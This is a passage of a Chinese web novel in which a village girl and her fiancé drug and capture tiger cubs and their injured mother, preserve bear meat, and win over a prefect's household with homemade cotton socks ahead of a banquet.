刘青青尝了一口,雪白的芋头入口即化,绵软糯牙,米饭吸收了腊肉的油分,满口生香,腊肉被米饭吸走了油脂和盐分,只剩下淡淡的咸和浓烈的香。 碧绿的豌豆又甜又面,橙黄色的萝卜丁脆甜可口,众多食材综合在一起,各种味道在舌尖慢慢推开,带来愉悦的感受。 方便美味,一锅而焖,便是千层饭的奥秘。 吃完饭以后,喝一碗苦麻菜火腿丁汤。 名字叫苦麻菜,但一点也不苦,入口极其清淡的涩味后,便是淡淡的回甘,一碗热汤下去,浑身冒汗,一路的疲惫随着热气蒸腾消失。 因在外面,刘青青只做了一饭一汤,简单却不简陋,大家吃饱后,坐在枯草地上剔牙闲话。 狗狗们不能吃盐,刘青青给它们单独闷了一锅米饭,熟了的时候,舀入些雪白的猪油拌匀,一只狗狗一份,郭守云指挥着狗狗们轮换值岗吃饭。 马儿们的午饭是豆饼和清水,大妞二妞因没吃到豌豆尖,不满的吹了吹响鼻,刘青青凑在它们的耳朵上,保证回家给它们加小灶,两匹大马才安生下来。 最后一批狗狗们吃完饭喝完水,刘青青收拾东西准备出发,外围警戒的狗狗们,突然呜呜呜不安的低声叫起来。 这是极度害怕的声音。 赵二贵面色一沉,示意大家靠拢,手执长棍弓箭对准草丛,紧紧的把刘青青围在中间。 大家紧紧盯着窸窸窣窣的草丛,严阵以待。 郭守云站在棉花黑炭后面,他紧紧握着刘青青的手,在她耳边凝重道:“是老虎!” 他好似怕惊动对面草丛里的猛兽,声音压得极低,但大家都靠在一起,老虎两个字,清晰的传到众人耳朵里,大家脚下一沉。 老虎号称百兽之王,力大无穷,动如闪电,打是打不过的,跑也跑不掉。 原本制定的计划是,借用狗狗们的鼻子寻到老虎的踪影,然后设置陷阱,将下了迷药的肉块哄老虎吃掉,将它迷晕后捆起来,免得它再伤人。 刘青青曾提议逮到老虎后,远远的送到深山,却被赵二贵看傻子一样教训了一顿:“老虎称之为大虫,深山里多的是,不少山民命丧其口,你还把它放走,生怕它舍不得吃你么!” 他声色俱厉喝道:“老虎叫大猫,不是家里养的小猫,千万莫要生了慈悲心肠,它鼻子灵敏,又记仇,我们侵占了它的地盘,只有一条路,要们被它吃掉,要么将它斩杀,没有其他选择。” 刘青青尴尬的点点头,她忘记了,这是豺狼虎豹横行的古代,不是被丧尸们毁了的末世,老虎是危害一方的大虫,而不是精细保护的珍稀动物。 一想到这老虎曾吃过人,刘青青对它便没了慈悲之心。 这条路必须要恢复通行,所以,只能让老虎搬家了,正好,青华园还缺一只镇场子的老虎。 大家紧张的注视着窸窸窣窣的枯草,鼻尖甚至能闻到老虎特有的腥臭,站在最前面的狗狗已经吓得两股战战,耳朵紧紧贴在脑袋上,尾巴低垂着,这是来自上位天敌的威压。 因平时的训练,没收到指令乱动会被棉花黑炭惩罚,狗狗们害怕得浑身发抖,但还是顶在前面没有动。 刘青青有点不踏实,抿唇紧紧的盯着草丛。 在她的印象中,老虎脚下如同橘猫一般,垫着肉垫,行动无声无息,闹出这么大的动静,这老虎,不是伤了,便是残了,要么便是有恃无恐。 窸窸窣窣声越来越近,草丛扒拉开,猛地跳出一只老虎。 是老虎没错,不过,是一只胖嘟嘟肥敦敦圆头圆脑的小老虎,还没有棉花的一半大。 大家放松了些,手中握着的兵器放了下来。 它看着面前严阵以待的大阵势,琥珀色的眼睛里,闪过一丝迷茫。 而后试探的往前走了几步,狗狗们被吓得退后了几步。 它后面的草丛又窸窸窣窣的响,众人心头大惊,难道后面的才是母老虎? 吓得又往后退了几步,立刻举起手里的弓箭长棍。 小老虎颠颠的往前几步,晃了晃肉憨憨的爪子。 刘青青躲在郭守云后面,大家你看看我,我看看你,这是什么意思? 惧怕草丛后的动静,往后退了退。 小老虎琥珀色的眼眶里盛满了委屈,好似在说,你们怎么不和我玩! 刘青青甩开脑袋中诡异的想法,下一刻,让她惊掉眼珠的事情发生了,小老虎就地打两个滚,将身上沾了的老虎便便滚干净,滚得满身的草削,露出白胖胖的小肚皮,偏着脑袋看着刘青青,好似再说,快来,快来,我现在干净了,给你揉揉肚肚。 刘青青惊恐的捏住蠢蠢欲动的手,这只老虎是在卖萌么?草丛里还有只母老虎,她哪里敢在老虎头上拔毛,那不是找死么! 没得到反馈的小老虎恨恨瞪一眼刘青青,舌头一耷拉头一歪睡倒在地上。 这是装死? 完了完了,母老虎要看到它的宝宝死了,在场的人,没一个有好果子吃,虽然这完全是这只小老虎的自导自演。 刘青青脑门上全是黑线,想不到自己精明一世,竟然被只毛都没长齐的小老虎碰了瓷。 大家都看懂了它的意思,顾不得地上装死的小老虎,拉紧弓弦,对准草丛。 在大家万众瞩目中,又一只色彩斑斓的毛爪子踏出来,立刻得到了万箭齐发的待遇。 毛爪子吓了一跳,就地一滚,发出嗷嗷嗷的怒吼声~ 那声音充满了恼怒,好似在说,哪个臭不要脸的暗算老子! 又一只毛都没长齐的小老虎。 它看清了前面的大场面,吓得一跳,想都没想,跳到装死的老虎面前,嘴巴一口咬下去便跑。 跑了几步,回头没看到跟来的老虎,绝望的嗷呜了一声,看了看刘青青,也舌头一耷拉,头一歪,砰一声摔倒在地,死过去了。 刘青青已经麻木了,郭守云示意棉花黑炭去草丛里查看,两小只鼻尖灵敏,再也没闻到老虎的气味,胆子变大了些,折回来,疑惑的围着两只小老虎绕圈圈。 刘青青甚是看见第一只小老虎悄悄张开了一下眼睛,又立马合起来。 这装死,装得不地道啊。 她用脚背轻轻踢了踢第一只小老虎,老虎一动也不动,还顺着她脚尖的力道,滚了滚。 刘青青气笑了,手里提了一块熟猪肉,凑到小老虎鼻子前:“要吃就滚起来!” 第104章 第104章捡漏 地上的小老虎,圆圆的鼻尖吸了吸,一骨碌从地上滚起来,嘴巴张开,露出还没长尖的乳牙,呜嗷一口含着肥瘦相间的肉块,圆圆的眼睛立马瞪得更圆,实在太好吃了! 它一边吃,一边不忘一个后踢,踹一脚另一只装死的老虎,那样子仿佛在说:快起来,有好 吃的! 刘青青逗笑了,天啦噜,世界上怎么会有这样活宝的虎子。 另一只小老虎,懵逼的爬起来,许是肚子饿狠了,也加入了吃肉的行列。 两只小老虎吃饱后,对着刘青青感激的打了个嗝,只是,这个人类的幼崽子,为什么笑得那么奸诈? 两只小老虎甩了甩脑袋,扑通摔倒在枯草上,这次是真的昏倒了。 刘青青笑嘻嘻在两只小老虎的脑袋上褥了一把:“啧!给你们提前感受一下,世界的险恶!” 赵二贵寻了些泥土加水,活成泥浆,均匀的抹在两只小老虎身上,关进竹筐里。 两只花纹斑斓的老虎,瞬间变成了两团泥,刘青青恶趣味的想,埋在火堆地下,能得一只叫花虎么。 仔细看了看,保证老虎它妈都不认识,狗狗们也闻不到它们身上的气味,才下令团队继续出发。 没办法,小老虎碰瓷这事,做得实在太行云流水,这样的熊老虎身后,必然有一只护短的母老虎。 她喜欢静悄悄的将母老虎迷晕,不要出现肢体冲突。 所以,两只小老虎必须保持绝对的安静,干脆将下了迷-药的猪肉块,让它们先试一试。 效果很是不错呢。 一行人打起十二分的小心,朝着前方摸去。 郭守云一马当先那,领着棉花黑炭在前,一边和棉花黑炭无声的交流,一面不放过丛林里的蛛丝马迹。 又往前走了大约有五公里,他抬了抬手,脸色沉重的指着一处树根:“老虎性子霸道,有圈地的习惯,这便是它撒的尿,过了这道界限,便是不问而入了!” 刘青青明白它他的意思,过了这条界限,是不死不休。 刘青青抬眼扫了扫,好巧不巧,通往府城的官道,必须越过这道线。 她不是拖泥带水的人,示意众人小心,继续往前走。 越往前走,空气中隐约一股腥味,狗狗们的状态越发不对,不时往后退。蒙古马们也不时不安的踢脚,大家紧张了许多,紧紧握着手中的长棍,弓箭。 又往前走了三公里,刘青青都能闻到空气中时有时无的腥味,狗狗们更是不堪,吓得呜呜呜低声呜咽,再也不肯前进。 刘青青止住步伐:“二贵叔,你们在这里等着我们,动静太大,只怕会被老虎发现!” 赵二贵戚眉,扬了扬手中的弓箭:“青丫头你开什么玩笑,你两个小孩子,哪里是老虎的对手,还是我去吧!” 刘青青提过加了迷药的猪肉块:“没事,我和阿云配合默契,不会出问题的!而且,我爬树利索,老虎抓不到我。” “你们在这里等着,过会得手了就进来接应我们。” 赵二贵还要再劝,刘青青和郭守云两人已经背着小背篓,轻手轻脚跟在棉花黑炭后面,钻进了前面的树丛,转瞬间不见了踪影。 赵二贵无奈,令大家伙围成一团,手握兵器,原地待命。 离了众人,郭守云眼底盛满了担忧:“阿青,我感觉有些不对!” “小老虎没有自保能力,一般不会离开母虎太久,这两只小老虎,已经跑出了母老虎画的地盘,只怕,母老虎已经糟了不测!” “能伤到母老虎的,想必是更凶猛的野兽,一会到了地方,你先爬到树上再说!” 刘青青心头一紧:“那你这么办?” 郭守云自信的笑了笑:“我你还不知道么,在丛林里,保管没动物能伤到我!” 两人定好计策,小心的跟在棉花黑炭后面往前走。 穿过依从低矮的灌木时,棉花黑炭突然止步不前,看了郭守云一眼。 郭守云自觉有异,比了个手势,刘青青乖觉的抱着身边一颗大松树往上爬,偏偏大松树下段笔直没有枝丫,她吭哧吭哧爬半天还在树根,郭守云见状,抬着她的腿,将她扛上树。 刘青青老脸一红,趴在树梢上给了他一个谢谢的眼神。 她是绝对不会承认,自己矮的。 郭守云在下面喊她:“快把背篓放下来,棉花黑炭也不会爬树呢!” 刘青青哦了一声,用背篓将棉花黑炭吊了上去。 棉花黑炭趴在高高的树杈上,有些不适应,毛爪子紧紧扒拉着刘青青,刘青青推了推近在迟尺棉花脑袋骂道:“你别挤我,再挤我要掉啦!” 郭守云看着树杈上挤成一团的一人两狼,莫名觉得好笑,嘴角往上勾了勾。 他背起另一个装着猪肉块的背篓,小心翼翼往前去探去。 顺着地上的痕迹,他面色变得沉重。 他猜测得不错,除了母老虎,还有另一只凶猛的野兽。 断掉的枝叶,压倒的小草,还有树根上的抓痕,五一不招示着,这里曾经经过一层激烈的搏斗,应该就在两天左右。 郭守云顺着痕迹,寻到了一块开阔的草地,一只斑斓大虎,合目躺在地上一动也不动。 不远处,一只黑熊颈部被撕开了一道口子,血水将周边的土地染黑,眼看是活不成了。 郭守云没有大意,他想了想,背着背篓爬到树上,将肉块分别砸到老虎和黑熊的头上。 黑熊依旧一动也不动,但是老虎突然扭头,一口含住了肉块。 它睁开的眼睛里,全是冰冷的杀意。 嘴里的不是活物,它眼里闪过了一丝迷蒙和疲惫。 和黑熊的搏斗中,它已经用尽了全身的力气,两条后肢被黑熊砸断,眼看是活不久了,狠心将两只小老虎赶走。 因为一旦它死掉,周围的野兽必然来圈地盘,两只小老虎在劫难逃。 眼前出现的是人类,它眼底闪过一丝悲鸣,所以两个孩子,还是落入到了人类的手中了么? 它又饿又渴,黑熊近在迟尺,它却爬过去里力气都没有。 嘴里的肉和平时的味道不一样,它顾不得那么多,一口吞下了肚子。 郭守云见它吃了肉,退后到安全地带,这里血腥味太重,不晓得会不会引来其他野兽。 约摸等了半刻钟,老虎的脑袋重重的磕在草地上,他才上前,先试探的用棍子戳了戳老虎的老虎头上的王字,老虎一定也不动,他才放心的靠进,用来带的绳索将老虎捆得结结实实。 才回去接刘青青和棉花黑炭。 棉花黑炭许是有恐高症,从树上下来,还紧紧的扒拉着刘青青的裤脚不放。 郭守云踹了黑炭一脚:“莫要装可怜,快去叫人,我们在这里等着!” 黑炭委屈的呜了一声,扭身跑了。 刘青青透过高高的树冠,已经看到了适才的事情,看他的眼里冒着小星星:“这老虎也太狡诈了,竟然会装死!幸好你警惕,不然也要吃个大亏!” 她嗤笑:“难怪两只小老虎装死这么熟练,原来是它娘教的!” 看到黑熊,她喜笑颜开:“还愁着鹿鸣宴做什么菜,哪,这不是现成的熊掌么!” 外围等候的猎队,聚在一起窃窃私语。 “二贵兄弟,你咋个就依了青姑娘的话,他们两个半大的孩子,要是遇到了猛兽,还不够塞牙缝的呢!” “哎,青姑娘脑子是灵活,但,打猎这个事情,靠的不是脑子,是手艺力气!” “要是他们有个万一,回去 怎么和有山兄弟交代啊!” “不行,我们得去找他们,青姑娘这一年来,帮了我家大忙,如今家里日子富足,顿顿能米饭,我不做怕死的缩头乌龟!” “是啊,让两个孩子冲锋陷阵,我们这些打猎的老把式缩在后面,传出去,丢人!” “你们谁要一起去?” 赵二贵气得沉了脸,他是怕死的人么,他是怕,坏了青丫头的事。 他喝了一声:“胡闹!青丫头是个有主意的,阿云也是个有成算的,你们自主主张跑进去,不是帮忙,是坏事!” “老实等着,他们收拾好了,会出来叫我们!” “怎么可能,老虎,那是吃人的老虎,奸诈狡猾凶猛的老虎,他们两个半大的孩子,如何收拾!” 众人吵吵闹闹,意见不一。 赵二贵坚持原地等候,以他对刘青青的了解,小姑娘办事干脆利索,不喜欢别人瞎出头帮倒忙,之前刘慧兰就是例子。 剩下的和刘青青不怎么熟,但跟着刘家攒了些银钱,日子过得顺逐,念着刘家的好,想去帮忙。 正吵闹着,黑炭冒了出来,轻轻嗷了一声,又折身往前。 它小跑了几步,见他们还傻站在那里,人性化的歪歪头,往前挥了挥爪子。 赵二贵嗯了一声:“行了,别吵了,青丫头他们收拾好了,叫我们去搬猎物!” 众人犹自不信,带着大队人马跟在黑炭后面。 当他们看到地上躺着的硕大老虎和黑熊时,震惊得嘴巴几乎要掉在地上。 “是你们把它们打成这样的?” 刘青青笑道:“哪能啊!” “老虎和黑熊打架,黑熊死了,老虎重伤,我们捡了个漏!” “各位叔叔伯伯小心些,老虎凶猛,搬动的时候,莫要被它咬了!” 死了的黑熊,重伤的老虎,他们来丛林里走了一趟,吃了一顿野餐,没受伤没动武,抓住了两只活蹦乱跳的小老虎,一只活的成年老虎,还收获了一头黑熊! 什么时候,打猎变得这么容易? 跟来的都是原来猎队的人,自然晓得打到老虎黑熊要付出的代价,现在不费一兵一卒,弄了三只老虎一只黑熊,足够名垂清水沟了。 他们有衷的点头,目光信服的跟着两人:打猎不是要力气,是要脑子。 第105章 第105章礼物 今天是常平县难忘的一天,因为,青华楼刘家竟然将吃人的老虎活捉了,并且逮到了一只黑熊。 街上熙熙攘攘,全是围着看稀奇的百姓。 刘青青趁机大声宣布:“各位乡亲,到府城的路,从此一通无阻,大家只管驾车前往!” 大家都走陆路,看裴家还怎么封锁! 不少人看着架子上色彩斑斓的老虎,眼底流露出惧怕、羡慕的光:“刘东家,虎骨卖不卖?” “我要虎皮,多少钱都可以!” “还有虎鞭,随便你开价!” 刘青青挑挑眉,她要咋个告诉这些人,这是头母老虎。 半响这些人还紧追不舍,她只好笑道:“不好意思,老虎还活着呢,只是被我们打晕了!” 众人听说老虎还活着,吓得往后退了一步,看见黑熊,立刻兴致大发,跟着去青华楼看热闹。 这只成年黑熊约摸有两米高,重约300公斤,分不到老虎,黑熊总能分到一点吧。 青华楼后院,姜老大夫得了消息已经等候多时。 黑熊哪,有钱都买不到的黑熊,这辈子值了。 他检查了一遍,抚着胡子道:“嗯,死了一天,被老虎咬断喉咙,一击毙命。”他眼里闪过不解:“不对啊,老虎应该不是黑熊的对手吧,而且,好好的,黑熊干嘛去老虎的地盘!” 刘青青诡异的想起那两只小老虎,有没有一种可能,是小老虎招惹了黑熊,黑熊才上门寻仇的呢? 母老虎护子心切,所以超常爆发击毙黑熊? 这一切因它们不会说话,都埋没在大森林里。 刘青青扯回话题:“姜爷爷,这黑熊肉,是烧了,还是卖了?”已经死了一天了吧。 姜老大夫绕着小山堆一样的黑熊转了好几圈,痛心疾首:“这样大的黑熊,当然是吃到肚子里!”竟然说出埋了这样的话,真是暴殄天物。 刘青青摸摸鼻子,她不吃野生动物的。 古代人口稀少,黑熊老虎为害一方,这里的人们打猎弄到,必然是要吃了的,她不好阻止,干脆眼不见心不烦,躲到了自己的休息室去。 姜老大夫将各块安排得妥妥的,也就是他这样的老饕餮,才晓得如何处理。 寻了一个大坛子,石灰打底,铺上厚厚一层炒米,放入草纸擦干净污渍的熊掌,再用炒米塞严,最后用石灰封口。 他吩咐刘青青:“这些带去府城,鹿鸣宴上做出来,保证青华楼一鸣惊人!” 最后,硝了一张完整的黑熊皮,一坛处理好的熊掌,和一大锅红烧黑熊肉。 刘青青看他腾开了手,才上前道:“姜爷爷,你看看老虎呗,它好似受了伤!” 姜老大夫没好气瞅她一眼:“我是大夫,看人的大夫,你可不可以,不要三天两头弄一些动物来给我看!”专业不对口啊。 先是马匹,现在的老虎,他有种直觉,若不阻止,以后刘青青还会弄更多生病的动物上门。 刘青青热情的捧着彩虹屁,竖起了大拇指:“谁让你是常平县的这个呢?看什么不是看,您就看一下呗!要是它没挺过来,两只小老虎就成了孤虎了!” 姜老大夫没好气的哼了一下,去给母老虎看诊。 药效还在,母老虎捆在架子上睡得正酣,姜老大夫顺着捏了一圈,愁眉不展:“哎哟喂,肋骨断了两棵,伤到了肺,后腿骨完全碎裂,内脏估计也有损伤,伤成这样都死不掉,难怪老虎这么厉害。” “治好了,它也失去了原本健康的体魄,瘸着腿如何捕猎? 早晚要饿死在树林里,做了其他野兽的口粮,还不如直接做了我们的盘中餐呢!” 刘青青:“……” 不要看见只动物都想着吃,好不好。 她想了想:“它既然没死,说明命不该绝,你尽管治疗,以后我们家养着它就是。”她又保证了一条:“一定关好了,不让它跑出去害人!” 好吧,既然刘青青坚持,姜老大夫也好奇,老虎和人的身体构造的不同,这是全新的试验品啊。 它将眼前的老虎当成了个人,用了麻药后,抽出断掉的肋骨,将后腿骨打上钢针包扎起来固上石膏。 做完一切,他累得直喘气:“行吧,你带回去好生照料,能不能活,就看它的命了!” 相当于动了个大手术,用点消炎药可能效果更好的,刘青青不是神,弄不到消炎药,尽可能的在环境上照料一二。 回到清水沟村后,刘青青将仓库用石灰消毒,开水洗了两道风干后,才把做了手术的母老虎放进去养伤。 因为剧痛,给母老虎吃的肉羹兑了安神的药,这样,母老虎大部分时间处在睡眠中,避免它乱动,形成二次受伤。 两只小老虎洗干净后,适应良好,很快和棉花黑炭成了好朋友,撵鸡追鸭,整日玩得乐不思蜀。 等了两日,母老虎已经不再发热,看着两只小老虎有吃有喝,它不再乱动,静静趴着养伤。 刘青青将虎笼的钥匙交给刘有山,让他亲自照料,她收拾了东西,和郭守云刘慧兰一起去府城。 她们没有坐船,而是驾着马车。 车内装了各种食材和行李,刘慧兰和刘青青坐在车里养神,外面赵垚和郭守云轮流驾车。 这是第一次从陆路走,刘有山不放心,请了赵垚亲自护送。 一行人安全到达府城,依旧住在张和五进的院子中。 洗去风尘,刘青青和郭守云马不停蹄去拜见卢雪樵。 卢雪樵好久没见刘青青,留她们吃晚饭。 刘青青立马把带来的腊味给了管家,说是她亲手做的特产,一定要师父尝一尝她的手艺。 两个孩子,其实他更喜欢刘青青些,小姑娘心眼活,有眼色,对比下来,郭守云稍微内秀了些。 他有些时候也在遗憾,为什么刘青青不是个男孩子呢,这样,一定能成就一番功业。 刘青青巴拉巴拉不停的说,打断了他的走神:“师父,我们给你带了一张熊皮,是阿云去山上机缘巧合得的,冬日的时候,你铺在椅子上办公,啧,又暖和又威风!” 郭守云张了张嘴,她这话又歧义,好似再说,黑熊是他打的一样。 卢雪樵看见完整的黑熊皮,推辞的话,实在说不出口,没有哪个大老爷们,能拒绝这样的礼物。 对郭守云多了几分喜爱,这孩子虽然内秀,不太喜欢说话,但是个有心的。 刘青青笑嘻嘻又捧出些棉手套棉帽子棉袜,还有各种棉花做的玩偶:“师父,我们这里没有地龙、火炕,冬天又湿又冷,很难熬的,这些是我用我们家自己种的棉花,织的棉袜棉手套,吸汗又暖和,您穿上袜子再穿鞋就不容易冻脚了!” 卢雪樵眼角抽了抽,这孩子,送礼送得这么自然,却又符合心意。 瞧瞧,不仅给他准备了礼物,还给家属准备了,考虑得很是周全哪。 重要的是,全是他们自己做的,是心意,是土特产,他想拒绝,都拒绝不了。 他本是上京人士,来这个地方已经三年,好东西自然不缺,袜子用的是绸袜,御寒是貂绒大裳。 就像她说的那样,此地没有火炕,也不用地龙,冷天很是难熬,一不小心就起了冻疮,痒得难受。 他是成年人,忍忍就过去了,但是家里的孩子老人,每到冬天,日子过得不舒心,去年夫人多有抱怨,这事他记挂在心里。 刘青青好似一无所觉,笑道:“师父,你莫要觉得棉花便宜就嫌弃,其实棉花比丝绸,更要吸汗呢!” 卢雪樵本来想打发他们进去二门内见见自家夫人,主要是他一大老爷们,和两个孩子在这里谈穿什么,不太合适。 不过,听了她这话,立马打消了这个主意,好奇的问:“怎么个便宜法?”据他所知,棉布,价不比丝绸,但真心算不上便宜。 刘青青掏出自己的小本本:“世面上的棉花棉布,都是从其他州府运来的,所以价格偏高。我们家种下来,一亩地最少能产一百二十公斤棉花,最高能产一百八十公斤棉花。” 卢雪樵心内一换算,一公斤棉花市价在一百文左右,天哪,一亩地种棉花,竟然能赚十两银子。 对于城里的富户,十两银子只是一顿饭钱,但是,普通人家,十两银子能够一年的开销。 他呼吸急促了几分:“种棉花,真能一亩地赚十两银?” 刘青青解释:“师父,世面上棉花价贵,一亩地赚十两银是可以的,但是,若种植棉花的农户多了,棉花价格降了下来,肯定赚不到那么多!” 不过,仍旧比种稻谷划算。 卢雪樵嗯了一声,耕地是有限的,要是百姓们都来种棉花,那吃的,可就不够了! 刘青青好似他肚里的蛔虫,悠悠道:“师父,棉花种在地里,不能被水淹!” 她热情的邀请卢雪樵去他家的做客:“师父,等过了鹿鸣宴,您有空休沐,不如去我们家散散心。我们家虽然在村子里的,但山清水秀,别有一番诗词画意呢! 刘青青在他心中种下一颗种子,就看他好不好奇了。 第106章 第106章鹿鸣宴 卢知府好奇,相当的好奇。 民生两件事,吃饱穿暖,是压在他心头的两座大山。 富贵人家不缺吃喝,不缺衣服御寒,大毛衣裳山珍海味轮换来,在同一片土地上,更多的百姓能奔个温饱,有一件山羊褂子已经是殷实的人家。 穷苦人家只能在夏衣里续上厚厚的芦苇花,可是那东西,看着厚实,却一点也不保暖。 南安府每年都要冻死一二百百姓。 南安府地处西南,天气炎热,春夏植物生长旺盛,他曾设想引种桑树养蚕,鼓励民间织布,算下来,比起种植水稻,一亩田能提高一倍的收益。 但是,这是个投入产出的问题。 南安府的百姓,每年的种植二季稻,堪堪能够交税和敷衍一年的口粮,要是毁田种桑,口粮那边势必出现缺口,若养蚕的过程中有个差池,比如蚕种生病,蚕丝掉价等,对百姓来说,便是没顶之灾。 而且,养蚕卖丝,因为丝绸产量小,品质高,注定了只能卖给富贵人家,不适合大面积推广穿用,因为这布料太柔软娇贵,稍微不小心刮一下,便是个洞。 所以,他明知道样改田种桑能提高百姓的收入,却迟迟不敢动手。 就像告诉正在工厂扭螺丝,勉强收支平衡的你,去读个研究生,提高学历,能提高你的收入,但是,读研这几年的学费开支便是一个无解的难题,取得学历后是否就能找到一个钱多事少离家近的工作,老天也不敢给你保证。 他仔细摩挲刘青青给他织的棉袜,手感不如丝绸柔软舒适,对比下来,甚至有些粗糙。富贵人家恐怕不会选择。 但是,粗糙有时候是一个大优点,便是耐磨,足够应付普通人的日常穿着。 若刘青青所讲,一切属实,来年官府通过政策大肆推广种植棉花,既不会侵占稻田,又能给百姓提高收入,那南安府,将会迎来不一样的明年。 而且,它产量高,一亩地能产100公斤棉花,一件棉衣,只需絮一公斤棉花足够了。 一亩地可以让一百个百姓穿暖,不再寒风中簌簌发抖。 寒冷的冬天有御寒的衣服,可以外出劳作,不用缩在家里,又可以创造出更多的财富。 卢雪樵抬眼看了看面前这个,因为一时心血来潮收下的弟子,为郭守云感到无比的庆幸,甚至隐隐有些羡慕,这是上辈子做了什么好事,这辈子有这样一个旺夫的女孩子做未婚妻。 要是刘青青是自家儿媳,就好了。 不过,他也只是一想,家中两个儿子,都不可能娶刘青青这样的乡野之女。 卢雪樵心里更看重两人几分,随意吩咐管家:“去告诉夫人,都是一家人,这两孩子年岁小,不用管男女大别,只管置办一桌子,晚间一起用餐,顺便给他们师兄弟互相认识认识!” 郭守云心中一动,他在前院有一间小小的屋子,那是卢雪樵看他刻苦,叫管家预备下来给他落脚的。 虽然他知道,卢雪樵带着老夫人,夫人,两个儿子,一个女儿一起住在后院,但从来没见过,卢雪樵不提,他也不好说拜见的话。 今日阿青一来,师父便主动引荐他们,那是不是,他在师父心中,又亲近了一些? 他细细品味刘青青替他准备的每一份节礼,其实棉被棉袜什么的,之前就让他带来了一些,但是他不会说话,一股脑的交给管家。 想必师父随意翻看了一下也就镣开手。 卢雪樵夫人姓夏,出生上京富贵人家,端是四面玲珑,让人如沐春风。 菜单上,除了卢家常见的菜谱,她故意将郭守云带来的弥渡卷蹄命厨房蒸了出来,算是回应两人。 弥渡卷蹄在卢家的厨房里躺了几个月,终于上了卢家的餐桌。 弥渡卷蹄并不是猪蹄,做法颇有讲究。 做的时候,将猪蹄拔毛洗净,用锋利的小刀取走猪小蹄里的骨-肉,保持猪蹄外部的完整,净瘦猪肉切成大拇指大小,配以食盐,白酒,红曲米,草果面,米酒等拌匀入味,塞进猪蹄皮中,再用棉线封口。 塞的时候要塞得紧紧的,最后再用稻草一圈一圈裹起来,避免进入空气。 煮熟后擦干水分,放入干萝卜丝的坛子里压实腌制,吃的时候,只要取出来,切片蒸熟,直接食用,或配一叠蘸水。 饭桌上,卢雪樵的母亲,田老夫人看着一桌子的肥鸡 嫩鸭菜品兴致缺缺,她扫一眼摆在盘子里切成薄片的卷蹄,旁边的小丫头立马夹了一块。 卷蹄嫣红粉白相间,薄如蝉翼,切成半圆形,如花瓣盛开在雪白的盘子里,赏心悦目。 她尝了一口,皮层嫩滑,肉质细腻,带着谷物的清香,天然的酸香,一点都不油腻,让人胃口大开。 忍不住自己又夹了几片。 夏夫人挑了挑眉,老夫人田氏有多挑剔难伺候,她是知道的。 公公死的早,全靠婆婆一人供养夫君读书,早些年吃了些苦,对肉类食物,有一种执念,但她年纪大吃不下油腻肥厚的东西,对菜品多有挑剔。 若菜色素了些,她摆脸色,若大鱼大肉了,她也不高兴。 今日这个卷蹄能得她的青睐,自己日子可以好过许多。 同在一屋檐下生活,几个孩子自然知道田氏的别扭,都忍不住一人夹了一片。 吃到嘴里那一瞬间,眼睛都亮了起来,果然好吃,酸嫩可口不腻牙。 卢雪樵体贴刘家出生乡下,担忧刘家花费重金准备拜师礼,故意说让他们准备些吃食特产,郭守云送来后,他随意的给管家处置,现在才发现,自己错过了什么。 刘家是认真的准备的,对刘家多了几分真心,当即交代同在府学念书的小儿子卢思克,在府学里多多照顾郭守云。 卢思克知道郭守云,原本看不上他,觉得他是趋炎附势,无孔不入攀上卢家的那一类,今日一看,却是老实内秀的小学子,对他多了些好奇。 吃到了他带来的特产,还是人家亲手做的,对他改变了成见,拍拍胸膛当场应下。 这一顿饭吃得宾主俱欢,喜笑颜颜。 夏夫人甚至留宿刘青青,刘青青笑着拒绝:“多谢师娘美意,只是我们已经住在了亲戚家,下次再来拜见老夫人和夫人!” 晚间卢雪樵捏着袜子和夏夫人抱怨:“这是御寒的良物,你如何没和我说?” 夏夫人翻了个白眼,田氏别扭,万事要光鲜亮丽,吃的要肥鸡嫩鸭,穿的要绫罗绸缎,这个粗糙的棉布,她哪里看得上眼,若送到田氏那里,或者给夫君穿上,她少不了挨一顿排揎。 不过,猪蹄确实味美,不知道刘家送来的那些棉被袜子,是不是也同样舒适。 她灵光一现,打发大丫头将刘家送来的厚厚棉被,垫在了床上,再铺上丝绸的床单。洗完脚换上了棉袜。 夏氏天生体寒,夜里时常冻醒,这一夜,包裹在软软的床铺上,就像在云朵中一样,僵冷的脚,暖暖和和,竟然一觉到天明。 夏夫人瞬间喜爱上棉垫,乐滋滋给儿子和闺女,田氏都换上。 盖的依旧用蚕丝被。 棉花被子热乎是热乎,但重了些,不如蚕丝被子轻便。 田氏原本嫌弃棉垫子不如丝绸垫子高端大气,睡了一晚后,喜爱上棉花垫子的柔软吸汗,难得给了夏夫人一个夸奖。 刘青青自然不知道她让促进了刘家后院的和睦友爱 她和郭守云回到张府,张和急不可耐:“你们可算回来了,鹿鸣宴准备怎么办?” 刘青青接过郭守云递来的茶杯,喝了口水:“就那样办呗!” “去年南安府中举人数27人,今年这么着也就30人,加上考官等,准备四桌足够了!” “四桌子菜,有什么难的!” 张和郁郁了:“你是不是以为,鹿鸣宴和你们村子里的杀猪饭差不多?” “姑奶奶啊,这鹿鸣宴是举子们参加的宴席,规格很高的!” 刘青青挑挑眉:“哟,你还知道我们村子的杀猪饭啊,你要吃不,腊月的时候,请你去!” 张和是不会承认,他认真的找人,打探里刘青青的一切,不屑道:“不就是猪肉么,有什么好吃的!” “不过,既然盛情邀请,我去就是啦!” 德行! 刘青青嗤笑了一下,见他耳根发红,便没多说,转回话题:“鹿鸣宴,不就是升学宴么,你说的规格很高是什么意思?” “我也没办过,要不,你去找薛文豪打听打听?” 刘青青看傻子一样看着他:“你觉得,他乐意看我们出风头么?” 张和叹了口气,青华园抢了遇仙楼的风头,遇仙楼没下绊子已经是天大的好事,他怎么还会帮忙呢! 刘青青看他毛躁的样子,不卖关子:“我已经准备了三道菜,一道肉菜清蒸熊掌,一道汤品富贵花开,一道素菜金榜题名,其他的还没想好!” “这鹿鸣宴,有什么讲究?” 张和静静看了她一刻钟,确认她是真的不晓得,无奈解释:“吃饭的环境要高端大气上档次,最好墙壁上悬挂名家字画,案上摆着古董花瓶。 用的餐具不说要金碟玉盏,至少得是骨瓷。” “你说的菜品清蒸熊掌算得上山珍之一,可是一样不够震场子,山珍海味配齐至少一半才行!” 张和苦着脸:“最重要的,鹿鸣宴鹿鸣宴,必须得有鹿!” “只有三大酒楼在庄子里养着鹿,我在集市上寻摸这么久了,也没看到野鹿的影子!” 必须要鹿肉啊,这就难办了! 第107章 第107章团结同行 张和苦着脸:“你给我的银钱,全都投到了青华园的建设,现在手里只余下三千多两银子,如何将这个宴席办好,是个大问题!” 刘青青戚眉:“鹿鸣宴不是官府拨款么?” 